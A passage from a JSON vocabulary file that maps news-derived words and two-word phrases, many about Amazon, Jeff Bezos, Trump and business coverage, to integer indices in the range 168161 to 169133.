\"iota\": 168161,\n  \"branded physical\": 168162,\n  \"seattle danielle\": 168163,\n  \"giant otter\": 168164,\n  \"networks rsns\": 168165,\n  \"centers just\": 168166,\n  \"great attachment\": 168167,\n  \"amazon embedded\": 168168,\n  \"johnson veronica\": 168169,\n  \"dang\": 168170,\n  \"season cbs\": 168171,\n  \"big dollar\": 168172,\n  \"new pressures\": 168173,\n  \"settled class\": 168174,\n  \"desired wall\": 168175,\n  \"publicly supports\": 168176,\n  \"began publishing\": 168177,\n  \"enormous volume\": 168178,\n  \"arbor\": 168179,\n  \"ally saudi\": 168180,\n  \"extramarital relationships\": 168181,\n  \"international challenges\": 168182,\n  \"administrative duties\": 168183,\n  \"provide good\": 168184,\n  \"yevgeny\": 168185,\n  \"company represents\": 168186,\n  \"customers need\": 168187,\n  \"swelling labor\": 168188,\n  \"policy molding\": 168189,\n  \"straton asked\": 168190,\n  \"mnuchin story\": 168191,\n  \"sad donald\": 168192,\n  \"faith healers\": 168193,\n  \"946728546633953285\": 168194,\n  \"pathological\": 168195,\n  \"r4ee l5e\": 168196,\n  \"000 heading\": 168197,\n  \"hoops\": 168198,\n  \"adequately audit\": 168199,\n  \"story promoted\": 168200,\n  \"st johnsbury\": 168201,\n  \"surprised says\": 168202,\n  \"korea hadn\": 168203,\n  \"transportation corridor\": 168204,\n  \"constructor bbt\": 168205,\n  \"civic association\": 168206,\n  \"hamper\": 168207,\n  \"bumblebee\": 168208,\n  \"coward way\": 168209,\n  \"ming suggests\": 168210,\n  \"club says\": 168211,\n  \"pecker dear\": 168212,\n  \"folds\": 168213,\n  \"big government\": 168214,\n  \"congressional races\": 168215,\n  \"ck\": 168216,\n  \"group shyam\": 168217,\n  \"chauffeured government\": 168218,\n  \"trump implores\": 168219,\n  \"screeny\": 168220,\n  \"liberal leanings\": 168221,\n  \"really diva\": 168222,\n  \"countries hearing\": 168223,\n  \"purchased products\": 168224,\n  \"singularly\": 168225,\n  \"board unfit\": 168226,\n  \"north seeking\": 168227,\n  \"ing world\": 168228,\n  \"vague reference\": 168229,\n  \"virginia location\": 168230,\n  \"risky bets\": 168231,\n  \"mirror believing\": 168232,\n  \"hinged\": 168233,\n  \"walls new\": 168234,\n  \"provides funding\": 168235,\n  \"documents leaked\": 168236,\n  \"flop\": 168237,\n  \"helicopter rides\": 168238,\n  \"bezos ended\": 168239,\n  \"pecker published\": 168240,\n  \"button boots\": 168241,\n  \"produce ballistic\": 168242,\n  \"caption jeff\": 168243,\n  \"years ago\": 168244,\n  \"facebook looks\": 168245,\n  \"easy levels\": 168246,\n  \"argues\": 168247,\n  \"sent conservative\": 168248,\n  \"sells trump\": 168249,\n  \"trump revolting\": 168250,\n  \"sever\": 168251,\n  \"florida day\": 168252,\n  \"does bezos\": 168253,\n  \"secretive spy\": 168254,\n  \"overlooking\": 168255,\n  \"exploiting loopholes\": 168256,\n  \"snappy\": 168257,\n  \"trustworthy entity\": 168258,\n  \"tremendous win\": 168259,\n  \"suggested boycott\": 168260,\n  \"treasury inspector\": 168261,\n  \"definitely anticipating\": 168262,\n  \"social problem\": 168263,\n  \"arizona followers\": 168264,\n  \"politico analysis\": 168265,\n  \"life threatening\": 168266,\n  \"corporate supremists\": 168267,\n  \"offer basic\": 168268,\n  \"xrlwpbmgj7\": 168269,\n  \"inc5000companies companies\": 168270,\n  \"warehouse management\": 168271,\n  \"required airs\": 168272,\n  \"yesterday following\": 168273,\n  \"black caucus\": 168274,\n  \"betway games\": 168275,\n  \"recently visited\": 168276,\n  \"blackmail reporters\": 168277,\n  \"news headlines\": 168278,\n  \"networks talk\": 168279,\n  \"christian faith\": 168280,\n  \"discussing offline\": 168281,\n  \"shamed companies\": 168282,\n  \"893\": 168283,\n  \"judgment\": 168284,\n  \"speech monitor\": 168285,\n  \"venezuela government\": 168286,\n  \"president railed\": 168287,\n  \"holding fortunes\": 168288,\n  \"overall agreement\": 168289,\n  \"quinn forget\": 168290,\n  \"botched hillary\": 168291,\n  \"era vox\": 168292,\n  \"latest effort\": 168293,\n  \"increasing refusal\": 168294,\n  \"freddy kruger\": 168295,\n  \"deals annually\": 168296,\n  \"secure international\": 168297,\n  \"hiv positive\": 168298,\n  \"news followin\": 168299,\n  \"native steve\": 168300,\n  \"lies speech\": 168301,\n  \"competitor adweek\": 168302,\n  \"government itt\": 168303,\n  \"gear erupts\": 168304,\n  \"visits barron\": 168305,\n  \"fitch campbell\": 168306,\n  \"free life\": 168307,\n  \"created occasion\": 168308,\n  \"billion business\": 168309,\n  \"collection instead\": 168310,\n  \"hamilton trump\": 168311,\n  \"joke karl\": 168312,\n  \"companies contracts\": 168313,\n  \"published revelations\": 168314,\n  \"operations raising\": 168315,\n  \"special bolts\": 168316,\n  \"2018 picture\": 168317,\n  \"provider upskill\": 168318,\n  \"pops cancer\": 168319,\n  \"walmart prefer\": 168320,\n  \"ice altered\": 168321,\n  \"yevgeny zamyatin\": 168322,\n  \"paper bag\": 168323,\n  \"intellectual diversion\": 168324,\n  \"powerful man\": 168325,\n  \"dennis green\": 168326,\n  \"blogging\": 168327,\n  \"trump kindle\": 168328,\n  \"futures drop\": 168329,\n  \"currently engaged\": 168330,\n  \"ambitious new\": 168331,\n  \"investigation houston\": 168332,\n  \"moon prior\": 168333,\n  \"price leap\": 168334,\n  \"view image\": 168335,\n  \"immediately\": 168336,\n  \"controlled devices\": 168337,\n  \"lodged challenge\": 168338,\n  \"oligarch critical\": 168339,\n  \"fcc know\": 168340,\n  \"100 nutritious\": 168341,\n  \"straight leg\": 168342,\n  \"wants operational\": 168343,\n  \"rate corporations\": 168344,\n  \"jeffries\": 168345,\n  \"publicly showed\": 168346,\n  \"2018 toyota\": 168347,\n  \"perpetually offended\": 168348,\n  \"stock shot\": 168349,\n  \"acres killed\": 168350,\n  \"population second\": 168351,\n  \"bernanke\": 168352,\n  \"simon gf\": 168353,\n  \"producers ryan\": 168354,\n  \"legislative\": 168355,\n  \"menefee\": 168356,\n  \"sisyphean\": 168357,\n  \"bad decision\": 168358,\n  \"uncertain times\": 168359,\n  \"lehigh valley\": 168360,\n  \"share learnings\": 168361,\n  \"registration confirmation\": 168362,\n  \"man versus\": 168363,\n  \"company saved\": 168364,\n  \"service iaas\": 168365,\n  \"decades ahead\": 168366,\n  \"authority buildings\": 168367,\n  \"signed thank\": 168368,\n  \"list lena\": 168369,\n  \"amazon 128\": 168370,\n  \"really national\": 168371,\n  \"amazon 134\": 168372,\n  \"highly trusted\": 168373,\n  \"businesses created\": 168374,\n  \"fuel prices\": 168375,\n  \"2020 shares\": 168376,\n  \"sweeping changes\": 168377,\n  \"sanchez embarrassing\": 168378,\n  \"quash washington\": 168379,\n  \"ham man\": 168380,\n  \"dosing\": 168381,\n  \"citadel advsr\": 168382,\n  \"warehouses tyger\": 168383,\n  \"metastasize\": 168384,\n  \"unlucky\": 168385,\n  \"sending stock\": 168386,\n  \"bezos caption\": 168387,\n  \"half trillion\": 168388,\n  \"missed opportunity\": 168389,\n  \"crow era\": 168390,\n  \"crabb\": 168391,\n  \"contradictory directions\": 168392,\n  \"development spells\": 168393,\n  \"add trails\": 168394,\n  \"henry paulson\": 168395,\n  \"ami sale\": 168396,\n  \"expansion analysis\": 168397,\n  \"increased funding\": 168398,\n  \"flooding\": 168399,\n  \"bitter legal\": 168400,\n  \"clinton email\": 168401,\n  \"lead seriesname\": 168402,\n  \"york voting\": 168403,\n  \"based hedge\": 168404,\n  \"utm_medium internal\": 168405,\n  \"wisconsin picture\": 168406,\n  \"private conversation\": 168407,\n  \"advantages amazon\": 168408,\n  \"blasts amazon\": 168409,\n  \"aut_title\": 168410,\n  \"jackets delivery\": 168411,\n  \"certain students\": 168412,\n  \"couple new\": 168413,\n  \"butina\": 168414,\n  \"ovide writes\": 168415,\n  \"luxembourg did\": 168416,\n  \"services pentagon\": 168417,\n  \"fluid\": 168418,\n  \"hook truthers\": 168419,\n  \"sad fact\": 168420,\n  \"veneer\": 168421,\n  \"officially sworn\": 168422,\n  \"currently offers\": 168423,\n  \"substantial financial\": 168424,\n  \"integration dangerous\": 168425,\n  \"mrk\": 168426,\n  \"world challenge\": 168427,\n  \"seasonal hires\": 168428,\n  \"usually does\": 168429,\n  \"state legal\": 168430,\n  \"wholly ineffectual\": 168431,\n  \"trump stopped\": 168432,\n  \"ex enquirer\": 168433,\n  \"administration claims\": 168434,\n  \"future chairman\": 168435,\n  \"leblanc fake\": 168436,\n  \"glynn\": 168437,\n  \"larry smith\": 168438,\n  \"express annoyance\": 168439,\n  \"usual vitriolic\": 168440,\n  \"instyle\": 168441,\n  \"affiliates partners\": 168442,\n  \"000 going\": 168443,\n  \"general sessions\": 168444,\n  \"sovide\": 168445,\n  \"certainly make\": 168446,\n  \"media networks\": 168447,\n  \"bob harper\": 168448,\n  \"officials claims\": 168449,\n  \"remember trump\": 168450,\n  \"getty_173218731_200015422000928060_388160 jpg\": 168451,\n  \"news interview\": 168452,\n  \"gmblondonregion members\": 168453,\n  \"generally agree\": 168454,\n  \"organization coffers\": 168455,\n  \"place trump\": 168456,\n  \"inspired\": 168457,\n  \"blistering blog\": 168458,\n  \"stakes trade\": 168459,\n  \"techtimes\": 168460,\n  \"providers including\": 168461,\n  \"line trump\": 168462,\n  \"hill teen\": 168463,\n  \"block declaration\": 168464,\n  \"france makes\": 168465,\n  \"photos suggestions\": 168466,\n  \"actual warehouses\": 168467,\n  \"bezos looks\": 168468,\n  \"point near\": 168469,\n  \"jeremy\": 168470,\n  \"pols social\": 168471,\n  \"environmental group\": 168472,\n  \"macrovector\": 168473,\n  \"organization related\": 168474,\n  \"disappointing results\": 168475,\n  \"increased restrictions\": 168476,\n  \"better contractual\": 168477,\n  \"enable developers\": 168478,\n  \"greenpeace says\": 168479,\n  \"today began\": 168480,\n  \"promoted story\": 168481,\n  \"sourcename title\": 168482,\n  \"takes hit\": 168483,\n  \"tipster michael\": 168484,\n  \"enquirer targeted\": 168485,\n  \"harangue\": 168486,\n  \"dream knew\": 168487,\n  \"usni news\": 168488,\n  \"resulting lower\": 168489,\n  \"sold houses\": 168490,\n  \"oil west\": 168491,\n  \"health ventures\": 168492,\n  \"crack particularly\": 168493,\n  \"recives\": 168494,\n  \"country seeking\": 168495,\n  \"overhauled\": 168496,\n  \"bare necessities\": 168497,\n  \"lisa murkowski\": 168498,\n  \"escapades\": 168499,\n  \"warehouses 600\": 168500,\n  \"share following\": 168501,\n  \"5g hardware\": 168502,\n  \"politico boeing\": 168503,\n  \"review detailed\": 168504,\n  \"rise trio\": 168505,\n  \"clarify russia\": 168506,\n  \"lowest prices\": 168507,\n  \"trump 2020\": 168508,\n  \"website including\": 168509,\n  \"mish int\": 168510,\n  \"newborn\": 168511,\n  \"sparks cop\": 168512,\n  \"subplot\": 168513,\n  \"palace balmoral\": 168514,\n  \"escape rising\": 168515,\n  \"apologized amid\": 168516,\n  \"really means\": 168517,\n  \"standard oil\": 168518,\n  \"oknyansky greenberg\": 168519,\n  \"browser click\": 168520,\n  \"bezos brought\": 168521,\n  \"mishaps\": 168522,\n  \"cost states\": 168523,\n  \"cruise familytravel\": 168524,\n  \"repertory company\": 168525,\n  \"gargantuan amazon\": 168526,\n  \"suggestion\": 168527,\n  \"linkedin account\": 168528,\n  \"fittingly forte\": 168529,\n  \"hq2 blowback\": 168530,\n  \"commerce advertising\": 168531,\n  \"manafort heads\": 168532,\n  \"hurting local\": 168533,\n  \"bezos familiar\": 168534,\n  \"agency merkle\": 168535,\n  \"government wide\": 168536,\n  \"self\": 168537,\n  \"report showed\": 168538,\n  \"earnings analysts\": 168539,\n  \"afp reuters\": 168540,\n  \"ext super\": 168541,\n  \"consider getting\": 168542,\n  \"google duopoly\": 168543,\n  \"commerce companies\": 168544,\n  \"reassuring\": 168545,\n  \"bloody nose\": 168546,\n  \"computing consumer\": 168547,\n  \"looming trade\": 168548,\n  \"push ygdjhk\": 168549,\n  \"committee endorsed\": 168550,\n  \"spacecraft crash\": 168551,\n  \"immigrants thanks\": 168552,\n  \"california federal\": 168553,\n  \"italian life\": 168554,\n  \"swedish bookseller\": 168555,\n  \"release list\": 168556,\n  \"spending billthat\": 168557,\n  \"violence indigenous\": 168558,\n  \"developed technology\": 168559,\n  \"wonderful way\": 168560,\n  \"drained iphone\": 168561,\n  \"miller illinois\": 168562,\n  \"right agree\": 168563,\n  \"franzen fsg\": 168564,\n  \"commercial airline\": 168565,\n  \"concerns continue\": 168566,\n  \"movement\": 168567,\n  \"probably closer\": 168568,\n  \"years atsg\": 168569,\n  \"furniture hours\": 168570,\n  \"2018 ruthless\": 168571,\n  \"country sure\": 168572,\n  \"video screenshot\": 168573,\n  \"signified\": 168574,\n  \"ongoing attack\": 168575,\n  \"stomach cuomo\": 168576,\n  \"coastline tru\": 168577,\n  \"free software\": 168578,\n  \"state level\": 168579,\n  \"composite index\": 168580,\n  \"listen know\": 168581,\n  \"um\": 168582,\n  \"separate developments\": 168583,\n  \"mccain tearful\": 168584,\n  \"inclusive way\": 168585,\n  \"retailers having\": 168586,\n  \"democratic sen\": 168587,\n  \"nodding\": 168588,\n  \"operate graham\": 168589,\n  \"general adam\": 168590,\n  \"1733807302\": 168591,\n  \"free james\": 168592,\n  \"lucrative\": 168593,\n  \"production team\": 168594,\n  \"production target\": 168595,\n  \"overall health\": 168596,\n  \"prohibit sale\": 168597,\n  \"230 billion\": 168598,\n  \"alexander acosta\": 168599,\n  \"wealthy people\": 168600,\n  \"american intelligence\": 168601,\n  \"forbes profiles\": 168602,\n  \"meeting held\": 168603,\n  \"stories pushed\": 168604,\n  \"1b visas\": 168605,\n  \"surveillance device\": 168606,\n  \"equally silly\": 168607,\n  \"lilly\": 168608,\n  \"pulled huge\": 168609,\n  \"best nonfiction\": 168610,\n  \"maxsa initially\": 168611,\n  \"strong winds\": 168612,\n  \"support retail\": 168613,\n  \"quizzes job\": 168614,\n  \"negga\": 168615,\n  \"education secretary\": 168616,\n  \"act slashed\": 168617,\n  \"firm amazon\": 168618,\n  \"facebook debacle\": 168619,\n  \"story share\": 168620,\n  \"shares higher\": 168621,\n  \"recognition adequately\": 168622,\n  \"require extreme\": 168623,\n  \"rape jokes\": 168624,\n  \"delighting\": 168625,\n  \"hold house\": 168626,\n  \"microsoft sat\": 168627,\n  \"latino borrowers\": 168628,\n  \"ellen page\": 168629,\n  \"walters declined\": 168630,\n  \"highlight\": 168631,\n  \"answering number\": 168632,\n  \"news instead\": 168633,\n  \"jeffrey sachs\": 168634,\n  \"themed\": 168635,\n  \"divorc\\u00e9e\": 168636,\n  \"handicrafts opposed\": 168637,\n  \"software company\": 168638,\n  \"atria\": 168639,\n  \"tenant\": 168640,\n  \"ice trump\": 168641,\n  \"socialist government\": 168642,\n  \"mustache\": 168643,\n  \"t5e r4ee\": 168644,\n  \"lighthearted spy\": 168645,\n  \"pressure recently\": 168646,\n  \"world actually\": 168647,\n  \"battle amazon\": 168648,\n  \"fasb\": 168649,\n  \"luxury home\": 168650,\n  \"deputies report\": 168651,\n  \"environmental news\": 168652,\n  \"deal supply\": 168653,\n  \"paraphrased\": 168654,\n  \"director christian\": 168655,\n  \"noon security\": 168656,\n  \"oust northam\": 168657,\n  \"piece called\": 168658,\n  \"mngmt incorporated\": 168659,\n  \"epic\": 168660,\n  \"complaints related\": 168661,\n  \"japan\": 168662,\n  \"spy\": 168663,\n  \"world 2018\": 168664,\n  \"employees invading\": 168665,\n  \"follows recommendation\": 168666,\n  \"indian subsidiary\": 168667,\n  \"disclosed similar\": 168668,\n  \"conversations intelligence\": 168669,\n  \"befall local\": 168670,\n  \"trump singled\": 168671,\n  \"smaller tax\": 168672,\n  \"notable firings\": 168673,\n  \"22m worth\": 168674,\n  \"actress award\": 168675,\n  \"delivery experience\": 168676,\n  \"fought\": 168677,\n  \"illegal immigrant\": 168678,\n  \"coup inspired\": 168679,\n  \"suggested moving\": 168680,\n  \"president putin\": 168681,\n  \"tappan zee\": 168682,\n  \"nightclub\": 168683,\n  \"applicable independent\": 168684,\n  \"personal involvement\": 168685,\n  \"told lesley\": 168686,\n  \"borrowing terms\": 168687,\n  \"pearsons regular\": 168688,\n  \"think realdonaldtrump\": 168689,\n  \"ongoing facebook\": 168690,\n  \"50pm\": 168691,\n  \"company 2019\": 168692,\n  \"inflation framework\": 168693,\n  \"amid worries\": 168694,\n  \"widespread downturn\": 168695,\n  \"garnering\": 168696,\n  \"motivated primarily\": 168697,\n  \"death star\": 168698,\n  \"elvis presley\": 168699,\n  \"successful saudi\": 168700,\n  \"various leave\": 168701,\n  \"artificial intelligence\": 168702,\n  \"announces api\": 168703,\n  \"668\": 168704,\n  \"advisers holding\": 168705,\n  \"indecisiveness\": 168706,\n  \"billionaire gop\": 168707,\n  \"set labor\": 168708,\n  \"comprehensive proposal\": 168709,\n  \"war matters\": 168710,\n  \"federally mandated\": 168711,\n  \"tonight begin\": 168712,\n  \"rizer\": 168713,\n  \"alzheimer drug\": 168714,\n  \"simply hires\": 168715,\n  \"2017 adding\": 168716,\n  \"sexy texts\": 168717,\n  \"stronger parent\": 168718,\n  \"fortnite\": 168719,\n  \"democrats green\": 168720,\n  \"cnbc request\": 168721,\n  \"amazon technical\": 168722,\n  \"team believe\": 168723,\n  \"seeking additional\": 168724,\n  \"antitrust divisions\": 168725,\n  \"agile methodology\": 168726,\n  \"feed paletas\": 168727,\n  \"stays away\": 168728,\n  \"corporate issues\": 168729,\n  \"news tantrums\": 168730,\n  \"suburban washington\": 168731,\n  \"comments new\": 168732,\n  \"economic prosperity\": 168733,\n  \"reshape\": 168734,\n  \"187 000\": 168735,\n  \"9billion percentage\": 168736,\n  \"quote\": 168737,\n  \"ad revenues\": 168738,\n  \"cumulative deficit\": 168739,\n  \"michael smerconish\": 168740,\n  \"plunging red\": 168741,\n  \"today morning\": 168742,\n  \"news shares\": 168743,\n  \"king yes\": 168744,\n  \"nyse bj\": 168745,\n  \"conference based\": 168746,\n  \"totally bartiromo\": 168747,\n  \"newsstand titles\": 168748,\n  \"consumer payments\": 168749,\n  \"different customer\": 168750,\n  \"liberty levin\": 168751,\n  \"plantation politics\": 168752,\n  \"public shootings\": 168753,\n  \"transformer\": 168754,\n  \"cardi net\": 168755,\n  \"181004033404\": 168756,\n  \"did saudi\": 168757,\n  \"consistently drawn\": 168758,\n  \"assassinations jedi\": 168759,\n  \"departmentof\": 168760,\n  \"balance earlier\": 168761,\n  \"laughter herera\": 168762,\n  \"major ad\": 168763,\n  \"rated cnn\": 168764,\n  \"sen gianaris\": 168765,\n  \"gehl\": 168766,\n  \"different movie\": 168767,\n  \"gives government\": 168768,\n  \"year biggest\": 168769,\n  \"conglomerates\": 168770,\n  \"nazi death\": 168771,\n  \"golovkin\": 168772,\n  \"falls 2018\": 168773,\n  \"disapprove\": 168774,\n  \"animal stories\": 168775,\n  \"junk food\": 168776,\n  \"goods sales\": 168777,\n  \"underlings amazon\": 168778,\n  \"html pubg_mobile\": 168779,\n  \"disdainful\": 168780,\n  \"filing reveals\": 168781,\n  \"term debt\": 168782,\n  \"true self\": 168783,\n  \"names lauren\": 168784,\n  \"quality based\": 168785,\n  \"ls inv\": 168786,\n  \"week chip\": 168787,\n  \"headquarters expand\": 168788,\n  \"price increase\": 168789,\n  \"postponing legislative\": 168790,\n  \"kabir lucifer\": 168791,\n  \"servers issuing\": 168792,\n  \"attorney abbe\": 168793,\n  \"illumination\": 168794,\n  \"right forcing\": 168795,\n  \"heroic\": 168796,\n  \"startup activity\": 168797,\n  \"graces\": 168798,\n  \"fitness food\": 168799,\n  \"rex huppke\": 168800,\n  \"ami wouldn\": 168801,\n  \"image credit\": 168802,\n  \"democrats national\": 168803,\n  \"warren ewarren\": 168804,\n  \"acting ice\": 168805,\n  \"photo international\": 168806,\n  \"big thanks\": 168807,\n  \"amzn alphabet\": 168808,\n  \"early seventies\": 168809,\n  \"require laws\": 168810,\n  \"morning tweet\": 168811,\n  \"export manufacturers\": 168812,\n  \"tart\": 168813,\n  \"gap\": 168814,\n  \"reach sufficient\": 168815,\n  \"companies benefited\": 168816,\n  \"sales join\": 168817,\n  \"dennis jr\": 168818,\n  \"90149\": 168819,\n  \"drastically increase\": 168820,\n  \"married lexi\": 168821,\n  \"als reveals\": 168822,\n  \"sells variety\": 168823,\n  \"life harmony\": 168824,\n  \"giant earnings\": 168825,\n  \"automatically remove\": 168826,\n  \"blatant violation\": 168827,\n  \"advocates say\": 168828,\n  \"ext large\": 168829,\n  \"modernists\": 168830,\n  \"long problem\": 168831,\n  \"shares 477\": 168832,\n  \"rt keerthy1995\": 168833,\n  \"marlon\": 168834,\n  \"new gop\": 168835,\n  \"van order\": 168836,\n  \"scandalous routinely\": 168837,\n  \"grapple\": 168838,\n  \"received weekly\": 168839,\n  \"bezos directed\": 168840,\n  \"grass plotting\": 168841,\n  \"330 air\": 168842,\n  \"foods sales\": 168843,\n  \"stock climbed\": 168844,\n  \"resurgent nationalism\": 168845,\n  \"fredric rolando\": 168846,\n  \"alesci guest\": 168847,\n  \"says kim\": 168848,\n  \"294bn\": 168849,\n  \"rights crisis\": 168850,\n  \"planned post\": 168851,\n  \"shares lost\": 168852,\n  \"help argentina\": 168853,\n  \"car right\": 168854,\n  \"exploit information\": 168855,\n  \"changing technology\": 168856,\n  \"lin\": 168857,\n  \"228543\": 168858,\n  \"orchestrated\": 168859,\n  \"lotterer\": 168860,\n  \"workdays attend\": 168861,\n  \"historic plunge\": 168862,\n  \"new lake\": 168863,\n  \"woolsey calif\": 168864,\n  \"remarks gushed\": 168865,\n  \"provide jobs\": 168866,\n  \"sequences\": 168867,\n  \"craig nelson\": 168868,\n  \"throats express\": 168869,\n  \"henry viii\": 168870,\n  \"leaked early\": 168871,\n  \"chip equipment\": 168872,\n  \"writes employers\": 168873,\n  \"fellow trump\": 168874,\n  \"capitol hill\": 168875,\n  \"tie dinner\": 168876,\n  \"esrx national\": 168877,\n  \"nationalinterest\": 168878,\n  \"look set\": 168879,\n  \"enquirer rushed\": 168880,\n  \"exhibitor sponsors\": 168881,\n  \"expect mailing\": 168882,\n  \"service declined\": 168883,\n  \"bbt\": 168884,\n  \"trillion mark\": 168885,\n  \"numerically speaking\": 168886,\n  \"assets 181003125909\": 168887,\n  \"spotting\": 168888,\n  \"legend martina\": 168889,\n  \"concentrated effort\": 168890,\n  \"love apple\": 168891,\n  \"murky\": 168892,\n  \"story broke\": 168893,\n  \"nyse\": 168894,\n  \"var initmeta\": 168895,\n  \"lunar joy\": 168896,\n  \"world pic\": 168897,\n  \"describes high\": 168898,\n  \"rises reuters\": 168899,\n  \"gowns\": 168900,\n  \"soviet owned\": 168901,\n  \"trust seritage\": 168902,\n  \"hamas group\": 168903,\n  \"partner group\": 168904,\n  \"slingbox amazon\": 168905,\n  \"woodward insisted\": 168906,\n  \"bank sue\": 168907,\n  \"wwe chief\": 168908,\n  \"host cities\": 168909,\n  \"tan\": 168910,\n  \"consciousness\": 168911,\n  \"officials authorized\": 168912,\n  \"sinisterlab\": 168913,\n  \"bezos poses\": 168914,\n  \"disarray specifically\": 168915,\n  \"student loans\": 168916,\n  \"soon cnn\": 168917,\n  \"apparel company\": 168918,\n  \"karl rove\": 168919,\n  \"reduced forest\": 168920,\n  \"569\": 168921,\n  \"virginia president\": 168922,\n  \"ceo sundar\": 168923,\n  \"million tons\": 168924,\n  \"discussions donald\": 168925,\n  \"certainly happened\": 168926,\n  \"avoid trend\": 168927,\n  \"milestone\": 168928,\n  \"isps don\": 168929,\n  \"334\": 168930,\n  \"city soaring\": 168931,\n  \"promotion\": 168932,\n  \"concerned specific\": 168933,\n  \"association amazon\": 168934,\n  \"treadmill computed\": 168935,\n  \"huffpo japanese\": 168936,\n  \"marketplace google\": 168937,\n  \"prohibiting government\": 168938,\n  \"police say\": 168939,\n  \"editorially chosen\": 168940,\n  \"375\": 168941,\n  \"possible 100\": 168942,\n  \"television search\": 168943,\n  \"plastic display\": 168944,\n  \"virginia editor\": 168945,\n  \"outflow\": 168946,\n  \"amply demonstrated\": 168947,\n  \"strong numbers\": 168948,\n  \"giant company\": 168949,\n  \"listing counterfeit\": 168950,\n  \"beat weak\": 168951,\n  \"right critics\": 168952,\n  \"shepardson reported\": 168953,\n  \"365 days\": 168954,\n  \"temporary factors\": 168955,\n  \"pubgclips pubggad\": 168956,\n  \"getting pretty\": 168957,\n  \"megacorporations\": 168958,\n  \"younger healthier\": 168959,\n  \"raise mind\": 168960,\n  \"consumers shake\": 168961,\n  \"steer shoppers\": 168962,\n  \"regular occurrence\": 168963,\n  \"newspaper salles\": 168964,\n  \"offerings\": 168965,\n  \"stewart spar\": 168966,\n  \"home brands\": 168967,\n  \"cisco csco\": 168968,\n  \"housing environment\": 168969,\n  \"possible given\": 168970,\n  \"dt continued\": 168971,\n  \"gas credits\": 168972,\n  \"trademarks\": 168973,\n  \"aggressive price\": 168974,\n  \"park amazon\": 168975,\n  \"probe vocal\": 168976,\n  \"naval\": 168977,\n  \"selfie naked\": 168978,\n  \"shutdown data\": 168979,\n  \"burned trump\": 168980,\n  \"pocketbook glimmer\": 168981,\n  \"kathy arberg\": 168982,\n  \"28222 bought\": 168983,\n  \"physical booksellers\": 168984,\n  \"gorgeous\": 168985,\n  \"larger set\": 168986,\n  \"attack sarah\": 168987,\n  \"whichever network\": 168988,\n  \"100 days\": 168989,\n  \"problems higher\": 168990,\n  \"gop fails\": 168991,\n  \"toronto concert\": 168992,\n  \"bezos affair\": 168993,\n  \"tools including\": 168994,\n  \"amazon faced\": 168995,\n  \"button read\": 168996,\n  \"book release\": 168997,\n  \"966\": 168998,\n  \"pic publicly\": 168999,\n  \"apple cheeks\": 169000,\n  \"saluting\": 169001,\n  \"hour calling\": 169002,\n  \"irs estimates\": 169003,\n  \"face paint\": 169004,\n  \"routine traffic\": 169005,\n  \"fb suffering\": 169006,\n  \"authentication technology\": 169007,\n  \"mention amazon\": 169008,\n  \"delivery creating\": 169009,\n  \"allegations noted\": 169010,\n  \"regular basis\": 169011,\n  \"star receives\": 169012,\n  \"odd way\": 169013,\n  \"100 regulations\": 169014,\n  \"classy pork\": 169015,\n  \"funded subsidies\": 169016,\n  \"amzn offers\": 169017,\n  \"new playbook\": 169018,\n  \"stories startup\": 169019,\n  \"firm primarily\": 169020,\n  \"adopted simple\": 169021,\n  \"licensing contracts\": 169022,\n  \"actually threatening\": 169023,\n  \"straw\": 169024,\n  \"office hopefully\": 169025,\n  \"newspaper led\": 169026,\n  \"primary software\": 169027,\n  \"provided extensive\": 169028,\n  \"quick passage\": 169029,\n  \"nba team\": 169030,\n  \"randomly\": 169031,\n  \"forever list\": 169032,\n  \"family pet\": 169033,\n  \"employs hundreds\": 169034,\n  \"govern\": 169035,\n  \"quorum\": 169036,\n  \"performance quickly\": 169037,\n  \"monopolist amazon\": 169038,\n  \"fair reportsthat\": 169039,\n  \"woman says\": 169040,\n  \"walled\": 169041,\n  \"fliers\": 169042,\n  \"hours action\": 169043,\n  \"new stores\": 169044,\n  \"died douglas\": 169045,\n  \"great sun\": 169046,\n  \"confront phillips\": 169047,\n  \"mothers nursing\": 169048,\n  \"rise apple\": 169049,\n  \"dangerous competitor\": 169050,\n  \"firms benefit\": 169051,\n  \"kwame raoul\": 169052,\n  \"world shifts\": 169053,\n  \"underwriters according\": 169054,\n  \"labor record\": 169055,\n  \"trade bloc\": 169056,\n  \"serving tray\": 169057,\n  \"charging approach\": 169058,\n  \"anymore\": 169059,\n  \"medium business\": 169060,\n  \"fund existing\": 169061,\n  \"leith\": 169062,\n  \"100x100\": 169063,\n  \"record bezos\": 169064,\n  \"aclu wrote\": 169065,\n  \"i4\": 169066,\n  \"cgi dinosaurs\": 169067,\n  \"trump post\": 169068,\n  \"blog china\": 169069,\n  \"confidential internal\": 169070,\n  \"growth power\": 169071,\n  \"ceo facebook\": 169072,\n  \"333b\": 169073,\n  \"essentially gives\": 169074,\n  \"build warehouses\": 169075,\n  \"excerpt read\": 169076,\n  \"retail landscape\": 169077,\n  \"blackmail himjoin\": 169078,\n  \"booboonyc\": 169079,\n  \"gershenson\": 169080,\n  \"2017 mccabe\": 169081,\n  \"goulding harper\": 169082,\n  \"blumhouse television\": 169083,\n  \"wounded\": 169084,\n  \"extreme following\": 169085,\n  \"decision affirming\": 169086,\n  \"progresisvely\": 169087,\n  \"details issues\": 169088,\n  \"battery cup\": 169089,\n  \"hiltzikm\": 169090,\n  \"js video_description\": 169091,\n  \"commerce businesses\": 169092,\n  \"pai radical\": 169093,\n  \"realizes\": 169094,\n  \"alibaba spokesman\": 169095,\n  \"map neighborhoods\": 169096,\n  \"baird\": 169097,\n  \"moving increasingly\": 169098,\n  \"2019 dow\": 169099,\n  \"techniques join\": 169100,\n  \"intentional\": 169101,\n  \"information read\": 169102,\n  \"shield consumers\": 169103,\n  \"mega agent\": 169104,\n  \"kavanaugh believes\": 169105,\n  \"audiences legitimately\": 169106,\n  \"shopping ripples\": 169107,\n  \"iowa\": 169108,\n  \"executives attended\": 169109,\n  \"000 metric\": 169110,\n  \"futility dubbed\": 169111,\n  \"convulsions\": 169112,\n  \"added huawei\": 169113,\n  \"increased luxury\": 169114,\n  \"eovaldli ocala\": 169115,\n  \"british civil\": 169116,\n  \"expand overseas\": 169117,\n  \"fair sources\": 169118,\n  \"jobs question\": 169119,\n  \"barry\": 169120,\n  \"hulu website\": 169121,\n  \"gina\": 169122,\n  \"controversial amazon\": 169123,\n  \"historic blazes\": 169124,\n  \"lapidus wework\": 169125,\n  \"guess greene\": 169126,\n  \"carrie\": 169127,\n  \"hurricane michael\": 169128,\n  \"spider man\": 169129,\n  \"york provide\": 169130,\n  \"businessman\": 169131,\n  \"profile inhumans\": 169132,\n  \"p1\": 169133,\n  